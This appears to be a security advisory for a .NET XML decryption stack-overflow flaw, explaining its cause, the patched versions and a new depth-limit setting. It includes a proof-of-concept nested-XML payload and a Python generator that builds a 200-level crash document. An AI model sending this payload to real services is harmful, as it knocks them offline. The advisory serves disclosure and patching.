CVE-2026-32203: System.Security.Cryptography.Xml EncryptedXml Stack Overflow via Deeply Nested XML
Sending an XML document with more than 64 levels of nested EncryptedData elements to any .NET application that decrypts XML will crash the process with a stack overflow, taking the service down.

The problem
The EncryptedXml.DecryptDocument() method recursively processes EncryptedData elements without any cap on nesting depth. An attacker who can supply XML to a decryption endpoint can nest EncryptedData inside EncryptedData arbitrarily deep, exhausting the call stack.
Because the recursion is unbounded, a document with only a few hundred nested elements overflows the managed stack. No authentication is required, and the attack reaches any service that passes attacker-supplied XML through the EncryptedXml decryption path, including SOAP endpoints, SAML processors, and internal document pipelines.
Proof of concept
A working proof-of-concept for CVE-2026-32203 in System.Security.Cryptography.Xml, with the exact payload below.
<?xml version="1.0"?>
<!-- Nest <EncryptedData> 65+ levels deep to exhaust the call stack. -->
<!-- The generator below produces 200 levels programmatically. -->
<EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#">
<CipherData>
<CipherValue>AAAA</CipherValue>
</CipherData>
<EncryptedData>
<CipherData>
<CipherValue>AAAA</CipherValue>
</CipherData>
<EncryptedData>
<CipherData>
<CipherValue>AAAA</CipherValue>
</CipherData>
<!-- ... repeat nesting to depth 200 ... -->
</EncryptedData>
</EncryptedData>
</EncryptedData>
# Python snippet to generate the full bomb:
depth = 200
ns = 'xmlns="http://www.w3.org/2001/04/xmlenc#"'
open_tags = ''.join(f'<EncryptedData {ns if i==0 else ""}><CipherData><CipherValue>AAAA</CipherValue></CipherData>' for i in range(depth))
close_tags = '</EncryptedData>' * depth
print('<?xml version="1.0"?>' + open_tags + close_tags)The root cause is missing recursion depth tracking in the EncryptedXml decryption logic (CWE-121, CWE-20). Each nested EncryptedData element triggers a recursive call, and without a counter the managed stack overflows when depth exceeds roughly the default CLR stack frame budget.
The patch introduced a hard limit of 64 recursive decryption steps and throws CryptographicException ("The XML element has exceeded the maximum nesting depth allowed for decryption.") when that limit is hit. The fix is configurable: setting the new MaxDecryptionDepth property to 0 restores the old unlimited behavior, which operators should avoid for untrusted input.
The fix
Update System.Security.Cryptography.Xml to 10.0.6 (.NET 10), 9.0.15 (.NET 9), or 8.0.3 (.NET 8). The patched runtime enforces a default nesting depth limit of 64. If your application legitimately processes deeply nested encrypted XML (depth > 64), tune the new MaxDecryptionDepth property to a finite value rather than disabling the limit entirely.
Recompile and redeploy after updating the NuGet reference.
Reported by Ludvig Pedersen and Kevin Jones.
Related research
- high · 7.5CVE-2026-50527CVE-2026-50527: System.Security.Cryptography.Xml EncryptedXml Stack Overflow DoS
- high · 7.5CVE-2026-50648CVE-2026-50648: System.Security.Cryptography.Xml EncryptedXml Denial of Service
- high · 7.5CVE-2026-50525CVE-2026-50525: System.Security.Cryptography.Xml EncryptedXml Denial of Service
- high · 7.5CVE-2026-47302CVE-2026-47302: System.Security.Cryptography.Xml EncryptedXml Denial of Service